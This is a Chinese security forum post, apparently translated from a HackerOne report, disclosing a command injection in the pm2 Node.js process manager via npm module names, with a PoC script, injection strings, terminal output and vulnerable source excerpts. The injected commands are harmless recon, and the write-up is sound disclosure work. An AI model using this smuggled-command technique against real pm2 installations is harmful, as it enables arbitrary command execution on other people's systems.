npm模块名中的命令注入漏洞分享

惊鸿一瞥最是珍贵 / 2019-11-15 09:25:20 / 浏览数 5184 安全技术 漏洞分析 顶(0) 踩(0)

前言

这篇文章的关注点在于当npm模块名传递到pm2.install()时可能出现的命令注入。黑客可以将OS命令附加到npm模块名中，然后payload会被API/Modules/NPM.js

Module

模块名：pm2
版本：3.5.1
安装页面：https://www.npmjs.com/package/pm2

模块简要说明

PM2是一个具有负载均衡功能的Node.js进程管理工具。它可以使应用程序永远处于活动状态，在不停机的情况下重新加载应用程序，并简化常见的系统管理任务。

安装统计

每周大概有32w次下载量
每月保守估计有120w次下载量

漏洞细节

可以使用pm2 install [PACKAGE NAME]命令来安装npm包，编程过程中，也可以通过pm2 API调用pm2.install(PACKAGE_NAME)来安装npm包。但祸不单行，坏事成双，这两种安装方式都很危险。
下面是一个使用pm2 install "test;pwd;whoami;uname;"命令安装test包的漏洞利用示例:

```
bl4de:~/playground/Node $ ./pm2 install "test;pwd;whoami;uname;"
[PM2][Module] Installing NPM test;pwd;whoami;uname; module
[PM2][Module] Calling [NPM] to install test;pwd;whoami;uname; ...
npm WARN saveError ENOENT: no such file or directory, open '/Users/bl4de/package.json'
npm WARN enoent ENOENT: no such file or directory, open '/Users/bl4de/package.json'
npm WARN bl4de No description
npm WARN bl4de No repository field.
npm WARN bl4de No README data
npm WARN bl4de No license field.

+ test@0.6.0
updated 1 package and audited 3 packages in 0.902s
found 0 vulnerabilities

/Users/bl4de
bl4de
Darwin
/bin/sh: --loglevel=error: command not found
[PM2][ERROR] Installation failed via NPM, module has been restored to prev version
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■ App name ■ id ■ version ■ mode ■ pid   ■ status ■ restart ■ uptime ■ cpu  ■ mem        ■ user   ■ watching ■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■ app      ■ 0  ■ N/A     ■ fork ■ 86409 ■ online ■ 1220    ■ 1s     ■ 6.5% ■ 31.9 MB    ■ bl4de ■ disabled ■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
Module
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■ Module ■ id ■ version ■ pid   ■ status ■ restart ■ cpu  ■ memory     ■ user  ■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■ test   ■ 1  ■ 0.6.0   ■ 86405 ■ online ■ 1216    ■ 3.5% ■ 32.3 MB    ■ bl4de ■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
Use `pm2 show <id|name>` to get more details about an app
bl4de:~/playground/Node $
```

你可以从上面直观的看到，pwd有了输出响应，whoami■uname命令作为npm模块名的一部分注入。
下面是在单独的应用程序中使用pm2 API时利用该漏洞的示例PoC:

```
// pm2_exploit.js


'use strict'
const pm2 = require('pm2')

// payload - user controllable input
const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"

pm2.connect(function (err) {
   if (err) {
       console.error(err)
       process.exit(2)
   }

   pm2.start({
       script: 'app.js' // fake app.js to supress "No script path - aborting" error thrown from PM2
   }, (err, apps) => {
       pm2.install(payload, {}) // injection
       pm2.disconnect()
       if (err) {
           throw err
       }
   })
})
```

使用node pm2_exploit.js命令执行后，得到如下输出：

```
bl4de:~/playground/Node $ node pm2_exploit.js
npm WARN saveError ENOENT: no such file or directory, open '/Users/bl4de/package.json'
npm WARN enoent ENOENT: no such file or directory, open '/Users/bl4de/package.json'
npm WARN bl4de No description
npm WARN bl4de No repository field.
npm WARN bl4de No README data
npm WARN bl4de No license field.

+ test@0.6.0
updated 1 package and audited 3 packages in 0.427s
found 0 vulnerabilities

/Users/bl4de
bl4de
Darwin bl4des-MacBook-Pro.local 18.6.0 Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDT 2019; root:xnu-4903.261.4~2/RELEA
total 224
-rw-r--r--@   1 bl4de  staff      37 Jul  1 22:38 app.js
drwxr-xr-x  237 bl4de  staff    7584 Jun 26 19:52 node_modules
-rw-r--r--    1 bl4de  staff  104809 Jul  2 00:52 package-lock.json
lrwxr-xr-x    1 bl4de  staff      26 Jun 26 20:18 pm2 -> ./node_modules/pm2/bin/pm2
-rw-r--r--@   1 bl4de  staff     522 Jul  2 00:58 pm2_exploit.js
/bin/sh: --loglevel=error: command not found
```

被注入的pwd、whoami和uname作为npm模块名的一部分被成功执行。

漏洞描述

我发现的这个漏洞和这个漏洞https://hackerone.com/reports/630227
有异曲同工之妙。漏洞利用链从lib/api/Modules/Modularizer.js中的Modularizer.install()函数调用开始(我删除了与漏洞无关的部分代码)：

```
/**
* PM2 Module System.
*/
Modularizer.install = function (CLI, module_name, opts, cb) {
 if (typeof(opts) == 'function') {
   cb = opts;
   opts = {};
 }

   (...)
```

```
 else {
   Common.logMod(`Installing NPM ${module_name} module`);
   NPM.install(CLI, module_name, opts, cb)   //// injection point
 }
};
```

在注释`//// injection point`代码行中，未经过滤的module_name变量被传递到`lib/api/Modules/NPM.js`模块中的`NPM.install()`函数。
从这里，我们的payload继续它的漏洞利用旅程，作为第二个参数传递给`NPM.continueInstall()`：

```
function install(CLI, module_name, opts, cb) {
 moduleExistInLocalDB(CLI, module_name, function (exists) {
   if (exists) {
     Common.logMod('Module already installed. Updating.');

     Rollback.backup(module_name);

     return uninstall(CLI, module_name, function () {
       return continueInstall(CLI, module_name, opts, cb);
     });
   }
   return continueInstall(CLI, module_name, opts, cb);  //// injection point
 })
}
```

最后，payload到达它的旅途终点。由于`continueInstall()`源码很长，所以我在这里只展示跟PoC有关的重要部分：

```
function continueInstall(CLI, module_name, opts, cb) {
 Common.printOut(cst.PREFIX_MSG_MOD + 'Calling ' + chalk.bold.red('[NPM]') + ' to install ' + module_name + ' ...');

 var canonic_module_name = Utility.getCanonicModuleName(module_name);
 var install_path = path.join(cst.DEFAULT_MODULE_PATH, canonic_module_name);

 require('mkdirp')(install_path, function() {
   process.chdir(os.homedir());

   var install_instance = spawn(cst.IS_WINDOWS ? 'npm.cmd' : 'npm', ['install', module_name, '--loglevel=error', '--prefix', '
     stdio : 'inherit',
     env: process.env,
         shell : true
   });

(...)
```

`module_name`(在由`Utility.getCanonicModuleName()`解析返回并分配给`canonic_module_name`之后)被传递到`spawn()`调用中，并作为`npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH`命令的一部分执行。

复现步骤

安装pm2 (`npm i pm2`)-我在本地安装，并且在同一文件夹中创建了可执行pm2的符号链接
运行pm2 start验证pm2是否已经成功安装，安装成功后会得到以下输出

```
bl4de:~/playground/Node $ ./pm2 start
[PM2][ERROR] File ecosystem.config.js not found
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■ App name ■ id ■ version ■ mode ■ pid ■ status ■ restart ■ uptime ■ cpu ■ mem ■ user ■ watching ■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
Use `pm2 show <id|name>` to get more details about an app
bl4de:~/playground/Node $
```

将上面一节中提供的pm2_exploit.js保存在同一文件夹中，并使用`node pm2_exploit.js`命令运行它。
验证输出是否包含插入命令的执行结果

补丁

应该对moudle_name进行过滤

测试环境

macOS 10.14.5
Node 10.13.0
npm 6.9.0

漏洞影响

攻击者可以利用此漏洞执行任意命令。

■■■■■https://hackerone.com/reports/633364

上一篇：2019红帽杯 Writeup b... 下一篇：nhttpd 从目录穿越到远程代码...

1. 0 条回复
   - 动动手指，沙发就是你的了！